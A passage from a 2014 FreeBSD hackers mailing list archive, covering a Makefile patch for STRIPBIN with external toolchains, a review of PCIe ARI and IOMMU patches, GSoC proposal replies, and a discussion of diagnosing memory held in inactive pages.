or "install -s" will fail. Does attached patch looks good? Unfortunately, "STRIP" variable is occuped by "-s" flag :( -- // Black Lion AKA Lev Serebryakov ------------01C0A8100016B00F1 Content-Type: application/octet-stream; name="stribin-support-add.patch" Content-transfer-encoding: base64 Content-Disposition: attachment; filename="stribin-support-add.patch" SW5kZXg6IE1ha2VmaWxlLmluYzEKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gTWFrZWZpbGUuaW5jMQko cmV2aXNpb24gMjYzMzMzKQorKysgTWFrZWZpbGUuaW5jMQkod29ya2luZyBjb3B5KQpAQCAt MzExLDcgKzMxMSw3IEBACiBYJHtDT01QSUxFUn0/PQkkeyR7Q09NUElMRVJ9fQogLmVuZGlm CiAuZW5kZm9yCi1YQklOVVRJTFM9CUFTIEFSIExEIE5NIE9CSkRVTVAgUkFOTElCIFNUUklO R1MKK1hCSU5VVElMUz0JQVMgQVIgTEQgTk0gT0JKRFVNUCBSQU5MSUIgU1RSSU5HUyBTVFJJ UEJJTgogLmZvciBCSU5VVElMIGluICR7WEJJTlVUSUxTfQogLmlmIGRlZmluZWQoQ1JPU1Nf QklOVVRJTFNfUFJFRklYKQogWCR7QklOVVRJTH0/PQkke0NST1NTX0JJTlVUSUxTX1BSRUZJ WH0keyR7QklOVVRJTH19CkBAIC00MjcsNiArNDI3LDkgQEAKIC5lbmRpZgogCiBJTUFLRUVO Vj0JJHtDUk9TU0VOVjpOX0xEU0NSSVBUUk9PVD0qfQorLmlmIGRlZmluZWQoWFNUUklQQklO KSAmJiAhZW1wdHkoWFNUUklQQklOKQorSU1BS0VFTlYrPQlTVFJJUEJJTj0ke1hTVFJJUEJJ Tn0KKy5lbmRpZiAKIElNQUtFPQkJJHtJTUFLRUVOVn0gJHtNQUtFfSAtZiBNYWtlZmlsZS5p bmMxIFwKIAkJJHtJTUFLRV9JTlNUQUxMfSAke0lNQUtFX01UUkVFfSAke0lNQUtFX0NPTVBJ TEVSX1RZUEV9CiAuaWYgZW1wdHkoLk1BS0VGTEFHUzpNLW4pCg== ------------01C0A8100016B00F1-- From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 19 14:02:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 21A2E85C for ; Wed, 19 Mar 2014 14:02:47 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 55C25AA7 for ; Wed, 19 Mar 2014 14:02:46 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2JE2aP5023708; Wed, 19 Mar 2014 16:02:36 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2JE2aP5023708 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2JE2adp023707; Wed, 19 Mar 2014 16:02:36 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Wed, 19 Mar 2014 16:02:36 +0200 From: Konstantin Belousov To: Ryan Stone Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) Message-ID: <20140319140236.GM21331@kib.kiev.ua> References: <20140316141216.GA21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="kunpHVz1op/+13PW" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: "freebsd-hackers@freebsd.org" , Neel Natu X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Mar 2014 14:02:47 -0000 --kunpHVz1op/+13PW Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Mar 18, 2014 at 01:51:47PM -0400, Ryan Stone wrote: > On Mon, Mar 17, 2014 at 5:20 PM, Neel Natu wrote: > > Hi Ryan, > > In any case it seems that the VT-d implementation in bhyve will work > > fine with ARI enabled devices. >=20 > There was an assert that would trip for the function number being > greater than 8. >=20 >=20 > I've put together the following patch series: >=20 > http://people.freebsd.org/~rstone/patches/ari/0001-Add-a-method-to-get-th= e-PCI-RID-for-a-device.patch >=20 I do not like this, in fact. Not the general idea, but the implementation. I think that what is needed is method which would return combined slot/function number (or just function number for ARI-enabled device). Then, existing pci_get_bus() and this new method are enough for proper construction of the translating structures. > This adds a method to get the RID that will be consumed by the VT-d > drivers. This patch is non-ARI only. >=20 >=20 > http://people.freebsd.org/~rstone/patches/ari/0002-Re-implement-the-DMAR-= I-O-MMU-code-in-terms-of-PCI-R.patch >=20 > This reworks the busdma DMAR code to work in terms of RIDs where > necessary. This should be a no-op. I tested this with > hw.dmar.enable=3D1 on a Nehalem with the em driver and a Sandy Bridge > with the igb and ixgbe driver and was able to pass traffic. Again, I do not like this. IMO the patch is too conservative. Almost all occurences of the s/f in the IOMMU code must be removed, and replaced by the half-rid returned by the new method from above. In particular, context must be stripped of s/f at all. As before, if you want, omit this part altogether, and I will try to do the pass later. >=20 >=20 > http://people.freebsd.org/~rstone/patches/ari/0003-Re-write-bhyve-s-I-O-M= MU-handling-in-terms-of-PCI-RI.patch >=20 > Same thing, but for bhyve. I'm not sure that passing the rid down to > the CPU-dependent layer is the right thing to do, because I'm not sure > what the AMD VT-d equivalent requires. Should I just pass down the > entire device_t and let the CPU layer deal with it? I tested loading > vmm.ko with a device assigned to the ppt driver but I didn't go as far > as starting a VM and using PCI passthrough. >=20 > (Also, as you'd probably expected doing this with hw.dmar.enable=3D1 > causes all hell to break loose). >=20 >=20 > http://people.freebsd.org/~rstone/patches/ari/0004-Add-support-for-PCIe-A= RI.patch >=20 > This is a slightly reworked version of the previous patch. The main > difference are that there is a new implementation of pcib_get_rid that > understands ARI RIDs. I also fixed a bug where the default > implementation of pcib_numslots was not actually being used because I > misspelled DEFAULT as default in pcib_if.m. >=20 >=20 > http://people.freebsd.org/~rstone/patches/ari/0005-Print-status-of-ARI-ca= pability-in-pciconf-c.patch >=20 > This makes pciconf -c dump the status of ARI on PCIe downstream ports. --kunpHVz1op/+13PW Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTKaN7AAoJEJDCuSvBvK1BRVsP/AsDqJ1VK7EfC21CI21l+6ym Xrp55HNV7CUDA6joK1pctpKKz33Ve1RoX4wINpt3cHXYygCDBfSH4VdTKGGrWywD Rxi73aZQH+0KCszm/Cm0TH0ldFD8EvAOPfQWba2tyGn3eDXg5pq8gXMhRLkv4t/8 JtDLhkqbwWQXTSvKHI6m9cqSLaxZPqpSH0sqv0C2L8py2mYQW3/5RcygS45hU61T VmLxaUC/bPjf3GWm7xkf8q9fqhZzplRtX8hAadqpXExzUhbJVyaUcymkwlPGZvOj nGIfZh6Jn+BQ5zLYAgfSPxpDMcprpSRJ4eThOzyH2s3sgxHmxpI4SSmesx9/7JC8 9KQnvUpt0YZdZhJE4RMLlx7/9d5sZ7WtsDZ5NvDJa4gOQl8axrT1alkWA0kcHU0U 5fm88bAZyTiT9H8Nad0a9rdSDbZF/4u/lEZ5kqt9YM0iISZsI6fkgpWkV/uEUtkg h8/Nph8ALfH688o3CjQgk/QiD/C61c2+iuw8BWEMWg31rXKsU0kXtiHeU6LSzVNF 3b6gStixo2e5dgJeXbstO/sCSOS6VtQiF4q4hbVnxR3JT9uaVJEcigL5hseIEZyD GodshFKhKUVWPa+Pa06zJcGkPyqCQrKcZwGBRd6Ymi+1ooF9E2GvtvpM46oIjP6I i0nZoR1KUEG/wnaFl39A =1lCL -----END PGP SIGNATURE----- --kunpHVz1op/+13PW-- From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 19 15:21:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6B568417 for ; Wed, 19 Mar 2014 15:21:39 +0000 (UTC) Received: from mail-pb0-f41.google.com (mail-pb0-f41.google.com [209.85.160.41]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 3F458615 for ; Wed, 19 Mar 2014 15:21:39 +0000 (UTC) Received: by mail-pb0-f41.google.com with SMTP id jt11so9036458pbb.14 for ; Wed, 19 Mar 2014 08:21:33 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:subject:mime-version:content-type:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=WSwpuOsl3N3H7wtLHvoSiotvgZ8Vxzo6PF/28xswJp0=; b=Swv7Fk4I8C+zJGO7mLejxN7IADzvLxal8FudjooGVXLWRkkIg6mCPxy3rfFANczMOz +/s56/Cl/g34JMREAfWSbkiFizBiy86K5T4hKeFfRgthY9C9PHFx1YW6f25AoYev12hn vCtzbYBUjfwc3JPrF1DCcCbwelxMZpyTafGig35Jb2uz9yMhjGHgwUiL8cmuSNY2og5F jpT+S3IG9zUyBiD7FfUM+HrFDFHOE0astSW7UdR1jEtn7HmPfjF0ywIdtwpgZzofP8qu PMky5oVmC6xCxwz4fwOWtUFzHJXK7VqSSofoKYwj4cxQGDn53bZyY1PKPSy+QA/GFnK7 H5NQ== X-Gm-Message-State: ALoCoQnnmkSDHW/ApmN5Wljc8hjbGjOiGvtt5I5Qj8h/mEB/h+2rhzHULsRsJK1ewEPOARhgnvxW X-Received: by 10.68.110.165 with SMTP id ib5mr40250496pbb.61.1395242492931; Wed, 19 Mar 2014 08:21:32 -0700 (PDT) Received: from bsdimp.corp.netflix.com ([69.53.237.72]) by mx.google.com with ESMTPSA id x5sm63240878pbw.26.2014.03.19.08.21.31 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 19 Mar 2014 08:21:32 -0700 (PDT) Sender: Warner Losh Subject: Re: [RFC] Install world with external toolcahin: need add STRIPBIN to IMAKEENV Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Content-Type: text/plain; charset=windows-1252 From: Warner Losh X-Priority: 3 (Normal) In-Reply-To: <1541075262.20140319154209@serebryakov.spb.ru> Date: Wed, 19 Mar 2014 08:21:31 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: References: <1541075262.20140319154209@serebryakov.spb.ru> To: lev@FreeBSD.org X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org, freebsd-current@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Mar 2014 15:21:39 -0000 On Mar 19, 2014, at 4:42 AM, Lev Serebryakov wrote: > Hello, Freebsd-current. >=20 > To make "make installworld" successfull with external toolchain (with > WITHOUT_BINUTILS-built world) we need to have STRIBIN, pointing to > working "strip" in environment, or "install -s" will fail. Assuming you meant STRIPBIN here... > Does attached patch looks good? Yes. This looks good to my eye. I have a very similar change in my tree from a while ago where I tried to get external toolchain support working with non-clang compilers. I=92ll have to go find that tree=85 So please go ahead and commit this if you don=92t get any objections... > Unfortunately, "STRIP" variable is occuped by "-s" flag :( A historical accident=85 but one we=92re rather stuck with... Warner From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 19 17:22:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 09D92C94 for ; Wed, 19 Mar 2014 17:22:15 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8FD362FB for ; Wed, 19 Mar 2014 17:22:14 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) by freebsd.czest.pl (8.14.5/8.14.5) with ESMTP id s2JHKQBs097431; Wed, 19 Mar 2014 17:20:26 GMT (envelope-from wkoszek@freebsd.czest.pl) Received: (from wkoszek@localhost) by freebsd.czest.pl (8.14.5/8.14.5/Submit) id s2JHKQNt097430; Wed, 19 Mar 2014 17:20:26 GMT (envelope-from wkoszek) Date: Wed, 19 Mar 2014 17:20:26 +0000 From: "Wojciech A. Koszek" To: =?utf-8?B?5b6Q5b+X6ZSL?= Subject: Re: [GSoC] proposal of the first idea Message-ID: <20140319172026.GK37327@FreeBSD.org> References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Spam-Status: No, score=-0.4 required=5.0 tests=RP_MATCHES_RCVD, SPF_HELO_PASS, SPF_PASS autolearn=ham version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on freebsd.czest.pl X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (freebsd.czest.pl [212.87.224.105]); Wed, 19 Mar 2014 17:20:28 +0000 (UTC) Cc: FreeBSD-Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Mar 2014 17:22:15 -0000 On Wed, Mar 19, 2014 at 11:26:55AM +0000, ĺľĺż—锋 wrote: > Hi all, >      I am going to apply the Google Summer of Code for the idea Machine readable > output from userland utilities.Below is my proposal, opinions and suggestions are  > welcome.  > Zhifeng, Please submit your proposal via Google Melange along with all necessary documents. Only there all mentors will be able to rate your idea, give you feedback and suggestions and have it preserved for Google's review. Thanks, -- Wojciech A. Koszek wkoszek@FreeBSD.czest.pl http://FreeBSD.czest.pl/~wkoszek/ From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 19 17:33:55 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8932C21C; Wed, 19 Mar 2014 17:33:55 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 2C54460A; Wed, 19 Mar 2014 17:33:54 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) by freebsd.czest.pl (8.14.5/8.14.5) with ESMTP id s2JHWAKV097524; Wed, 19 Mar 2014 17:32:10 GMT (envelope-from wkoszek@freebsd.czest.pl) Received: (from wkoszek@localhost) by freebsd.czest.pl (8.14.5/8.14.5/Submit) id s2JHWAwZ097523; Wed, 19 Mar 2014 17:32:10 GMT (envelope-from wkoszek) Date: Wed, 19 Mar 2014 17:32:10 +0000 From: "Wojciech A. Koszek" To: yan cui Subject: Re: FreeBSD GSOC proposal in 2014 Message-ID: <20140319173210.GM37327@FreeBSD.org> References: <20140314070218.GA37327@FreeBSD.org> <201403181426.19929.jhb@freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Spam-Status: No, score=-0.4 required=5.0 tests=RP_MATCHES_RCVD, SPF_HELO_PASS, SPF_PASS autolearn=ham version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on freebsd.czest.pl X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (freebsd.czest.pl [212.87.224.105]); Wed, 19 Mar 2014 17:32:14 +0000 (UTC) Cc: freebsd-hackers@freebsd.org, soc-status@freebsd.org, freebsd-current@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Mar 2014 17:33:55 -0000 On Wed, Mar 19, 2014 at 01:08:58PM -0400, yan cui wrote: > Any comments for this thread? There is only three days left for application. > If the proposed idea should not be considered in this year, > it should be removed from the GSoC idea list and I will submit a different > proposal about the CPU hot plug problem in the FreeBSD kernel. Yan, Please submit all possible ideas you have. We'll carefully look into them and judge which one is the most interesting from the FreeBSD point of view. If you were to stay with locking work, given that the work on pthreads was finished, we'd have to look into whether there's anything else to do in this domain. It still can be valuable to perform some improvements, but somebody else with expertise would have to judge. Thanks, Wojciech > > 2014-03-18 15:39 GMT-04:00 yan cui : > > > Really? Maybe I can download his code from previous GSoC. > > Actually, before applying for this idea, I did not scan the projects in > > previous years and just pick up one which I like. > > Are there any possibilities to improve on this part (or this idea should > > not be considered any more)? > > > > Yan > > > > > > 2014-03-18 14:26 GMT-04:00 John Baldwin : > > > > On Friday, March 14, 2014 3:02:18 am Wojciech A. Koszek wrote: > >> > On Thu, Mar 13, 2014 at 09:56:35PM -0400, yan cui wrote: > >> > > Hi all, > >> > > > >> > > I write this mail to make my question clear. I know witness can be > >> used > >> > > to detect wrong lock order in the kernel. However, can it be used to > >> do > >> > > lock profiling (what I mean is to report the information such as which > >> > > locks are most contended and print some related statistics such as > >> calling > >> > > graph, etc)? > >> > > In other words, is it enough to finish the task by porting witness to > >> the > >> > > pthread library? > >> > > > >> > > >> > Yan, > >> > > >> > To my knowledge WITNESS is the only tool for lock order verification. > >> > > >> > For lock profiling in the FreeBSD kernel there's a KTR subsystem. KTR > >> > mechanism is basically like syslog() in the user-space, but for the > >> kernel. > >> > KTR subsystem will receive messages from KTR API that is placed in the > >> > FreeBSD kernel. Messages get stored on the list of some sort. List can > >> be > >> > exported to a file. File you can later analyze. > >> > > >> > Jeff wrote a Python app which can be used for pre-processing the KTR > >> logs > >> > from scheduler and protting them visually. Link: > >> > > >> > http://svnweb.freebsd.org/base/head/tools/sched/schedgraph.py > >> > > >> > Instead of porting witness to pthreads, maybe we could evaluate > >> expanding > >> > WITNESS to cover kern_umtx? This could prove to be more universal. > >> > > >> > Wojciech > >> > >> There is a dedicated lock profiler (LOCK_PROFILING) in the kernel. A > >> previous GSoC student from an earlier year has already re-implemented both > >> LOCK_PROFILING and WITNESS for pthreads. > >> > >> -- > >> John Baldwin > >> > > > > > > > > -- > > Think big; Dream impossible; Make it happen. > > > > > > -- > Think big; Dream impossible; Make it happen. -- Wojciech A. Koszek wkoszek@FreeBSD.czest.pl http://FreeBSD.czest.pl/~wkoszek/ From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 19 19:49:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A85F1E44; Wed, 19 Mar 2014 19:49:10 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8039C3F9; Wed, 19 Mar 2014 19:49:10 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 67CCCB94C; Wed, 19 Mar 2014 15:49:09 -0400 (EDT) From: John Baldwin To: Karl Denninger Subject: Re: Tracking down what has inact pages locked up Date: Wed, 19 Mar 2014 15:29:06 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <53260B36.2070409@denninger.net> <201403181730.02471.jhb@freebsd.org> <532910D1.3010704@denninger.net> In-Reply-To: <532910D1.3010704@denninger.net> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201403191529.06567.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Wed, 19 Mar 2014 15:49:09 -0400 (EDT) Cc: Alan Cox , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Mar 2014 19:49:10 -0000 On Tuesday, March 18, 2014 11:36:49 pm Karl Denninger wrote: > > On 3/18/2014 4:30 PM, John Baldwin wrote: > > On Tuesday, March 18, 2014 3:36:04 pm Karl Denninger wrote: > >> On 3/18/2014 2:05 PM, John Baldwin wrote: > >>> On Sunday, March 16, 2014 4:36:06 pm Karl Denninger wrote: > >>>> Is there a reasonable way to determine who or what has that memory > >>>> locked up -- and thus why the vm system is not demoting that space into > >>>> the cache bucket so it can be freed (which, if my understanding is > >>>> correct, should be happening long before now!) > >>> I have a hackish thing (for 8.x, might work on 10.x) to let you figure out > >>> what is using up RAM. This should perhaps go into the base system at some > >>> point. > >>> > >>> Grab the bits at http://people.freebsd.org/~jhb/vm_objects/ > >>> > >>> You will want to build the kld first and use 'make load' to load it. It adds > >>> a new sysctl that dumps info about all the VM objects in the system. You can > >>> then build the 'vm_objects' tool and run it. It can take a while to run if > >>> you have NFS mounts, so I typically save its output to a file first and then > >>> use sort on the results. sort -n will show you the largest consumer of RAM, > >>> sort -n -k 3 will show you the largest consumer of inactive pages. Note > >>> that 'df' and 'ph' objects are anonymous, and that filename paths aren't > >>> always reliable, but this can still be useful. > >>> > >> Thanks. > >> > >> I suspect the cause of the huge inact consumption is a RAM leak in the > >> NAT code in IPFW. It was not occurring in 9.2-STABLE, but is on > >> 10.0-STABLE, and reverting to natd in userland stops it -- which > >> pretty-well isolates where it's coming from. > > Memory for in-kernel NAT should be wired pages, not inactive. > Yeah, should be. :-) > > But..... it managed to lock up 19GB of the 24GB the system has in inact > pages over 12 hours, and dropping the system to single user and > unloading the modules did not release the RAM...... which is why the > question (on how to track down what the hell is going on.) > > Changing the config back to natd as opposed to in-kernel NAT, however, > made the problem disappear. It would be useful to run the program I posted above to see what is tying up in active pages. It is not going to be wired kernel memory. You may simply be seeing a different aritfact that natd causes additional memory pressure so pagedaemon purges inactive pages more often. If you aren't using memory, then having a lot of inactive pages isn't a problem, it means the system will be able to satisfy potential future reads without needing to go to disk. What I have done in places where I want to limit inactive memory is to write a simple program that invokes posix_fadvise(POSIX_FADV_DONTNEED) on each file to flush it from inactive to cache. You may also need an fsync() on each file to flush any dirty pages before the fadvise. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 19 20:05:26 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1CDF588D for ; Wed, 19 Mar 2014 20:05:26 +0000 (UTC) Received: from fs.denninger.net (wsip-70-169-168-7.pn.at.cox.net [70.169.168.7]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C05EC807 for ; Wed, 19 Mar 2014 20:05:25 +0000 (UTC) Received: from [127.0.0.1] (localhost [127.0.0.1]) by fs.denninger.net (8.14.8/8.14.8) with ESMTP id s2JK5NPg007267 for ; Wed, 19 Mar 2014 15:05:23 -0500 (CDT) (envelope-from karl@denninger.net) Received: from [127.0.0.1] (TLS/SSL) [192.168.1.40] by Spamblock-sys (LOCAL/AUTH); Wed Mar 19 15:05:23 2014 Message-ID: <5329F87E.1010203@denninger.net> Date: Wed, 19 Mar 2014 15:05:18 -0500 From: Karl Denninger User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Tracking down what has inact pages locked up References: <53260B36.2070409@denninger.net> <201403181730.02471.jhb@freebsd.org> <532910D1.3010704@denninger.net> <201403191529.06567.jhb@freebsd.org> In-Reply-To: <201403191529.06567.jhb@freebsd.org> Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha1; boundary="------------ms050104020404010300040109" X-Antivirus: avast! (VPS 140319-1, 03/19/2014), Outbound message X-Antivirus-Status: Clean X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Mar 2014 20:05:26 -0000 This is a cryptographically signed message in MIME format. --------------ms050104020404010300040109 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable On 3/19/2014 2:29 PM, John Baldwin wrote: > On Tuesday, March 18, 2014 11:36:49 pm Karl Denninger wrote: >> On 3/18/2014 4:30 PM, John Baldwin wrote: >>> On Tuesday, March 18, 2014 3:36:04 pm Karl Denninger wrote: >>>> On 3/18/2014 2:05 PM, John Baldwin wrote: >>>>> On Sunday, March 16, 2014 4:36:06 pm Karl Denninger wrote: >>>>>> Is there a reasonable way to determine who or what has that memory= >>>>>> locked up -- and thus why the vm system is not demoting that space= into >>>>>> the cache bucket so it can be freed (which, if my understanding is= >>>>>> correct, should be happening long before now!) >>>>> I have a hackish thing (for 8.x, might work on 10.x) to let you fig= ure out >>>>> what is using up RAM. This should perhaps go into the base system = at some >>>>> point. >>>>> >>>>> Grab the bits at http://people.freebsd.org/~jhb/vm_objects/ >>>>> >>>>> You will want to build the kld first and use 'make load' to load it= =2E It adds >>>>> a new sysctl that dumps info about all the VM objects in the system= =2E You can >>>>> then build the 'vm_objects' tool and run it. It can take a while t= o run if >>>>> you have NFS mounts, so I typically save its output to a file first= and then >>>>> use sort on the results. sort -n will show you the largest consume= r of RAM, >>>>> sort -n -k 3 will show you the largest consumer of inactive pages. = Note >>>>> that 'df' and 'ph' objects are anonymous, and that filename paths a= ren't >>>>> always reliable, but this can still be useful. >>>>> >>>> Thanks. >>>> >>>> I suspect the cause of the huge inact consumption is a RAM leak in t= he >>>> NAT code in IPFW. It was not occurring in 9.2-STABLE, but is on >>>> 10.0-STABLE, and reverting to natd in userland stops it -- which >>>> pretty-well isolates where it's coming from. >>> Memory for in-kernel NAT should be wired pages, not inactive. >> Yeah, should be. :-) >> >> But..... it managed to lock up 19GB of the 24GB the system has in inac= t >> pages over 12 hours, and dropping the system to single user and >> unloading the modules did not release the RAM...... which is why the >> question (on how to track down what the hell is going on.) >> >> Changing the config back to natd as opposed to in-kernel NAT, however,= >> made the problem disappear. > It would be useful to run the program I posted above to see what is tyi= ng > up in active pages. It is not going to be wired kernel memory. You ma= y > simply be seeing a different aritfact that natd causes additional memor= y > pressure so pagedaemon purges inactive pages more often. If you aren't= > using memory, then having a lot of inactive pages isn't a problem, it > means the system will be able to satisfy potential future reads without= > needing to go to disk. > > What I have done in places where I want to limit inactive memory is to > write a simple program that invokes posix_fadvise(POSIX_FADV_DONTNEED) > on each file to flush it from inactive to cache. You may also need an > fsync() on each file to flush any dirty pages before the fadvise. What caught my attention originally was that swap was rising in=20 consumption at the same time inact was basically pegged (and=20 performance, as expected, was in the trashcan.) I'll see what I can track down. --=20 -- Karl karl@denninger.net --------------ms050104020404010300040109 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIFTzCC BUswggQzoAMCAQICAQgwDQYJKoZIhvcNAQEFBQAwgZ0xCzAJBgNVBAYTAlVTMRAwDgYDVQQI EwdGbG9yaWRhMRIwEAYDVQQHEwlOaWNldmlsbGUxGTAXBgNVBAoTEEN1ZGEgU3lzdGVtcyBM 